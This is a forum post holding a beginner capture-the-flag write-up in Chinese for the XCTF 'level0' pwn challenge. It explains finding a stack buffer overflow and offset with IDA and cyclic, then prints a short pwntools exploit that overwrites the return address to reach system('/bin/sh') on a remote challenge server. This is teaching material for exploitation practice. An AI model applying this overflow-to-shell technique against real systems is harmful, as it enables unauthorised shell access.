安全矩阵

 找回密码
 立即注册
搜索
查看: 2767|回复: 0

xctf--新手区--level0

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-19 12:25:10 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-4-19 12:35 编辑

原题链接:159.138.137.79:50538
附件:

writeup:拿到这个文件之后先checksec

64位程序,开了NX
然后再运行一下:



会输出Hello,World,然后是输入,我这里输入了aaaaaaaaaaaaaaaaaa

放入IDA里,开始展示的是汇编代码,然后我们F5就可以查看源码,我们先看看main函数里面的:



主函数就是一行打印,一行输入,不过有意思的是,buf的长度是0x80,而read函数允许输入0x200,那我们岂不是可以缓冲区溢出辣!
可是光有溢出是不够的,还要能获得system权限

可以看看其他的一些函数,找到一个命名十分诱人的函数名,打开之后就发现system(“/bin/sh”)


好了!我们先定位溢出点
cyclic 200(先得到200个随机字符)
run

cyclic -l jaak


看一下callsystem函数地址0x400596


okok,万事具备,只差exp
  1. from pwn import*
  2. r=remote("159.138.137.79",50538)
  3. payload="a"*136+p64(0x400596)
  4. r.sendline(payload)
  5. r.interactive()
复制代码


拿到flag了!
小结:这个pwn题是一个比较基础的溢出题。利用思路也比较简单,这个也算是自己做的第一道pwn题啦!
1、IDA在查看源码的时候可以用F5
2、写exp时,由于要和远程一个服务器交互,所以要用remote


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:39 , Processed in 0.013200 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表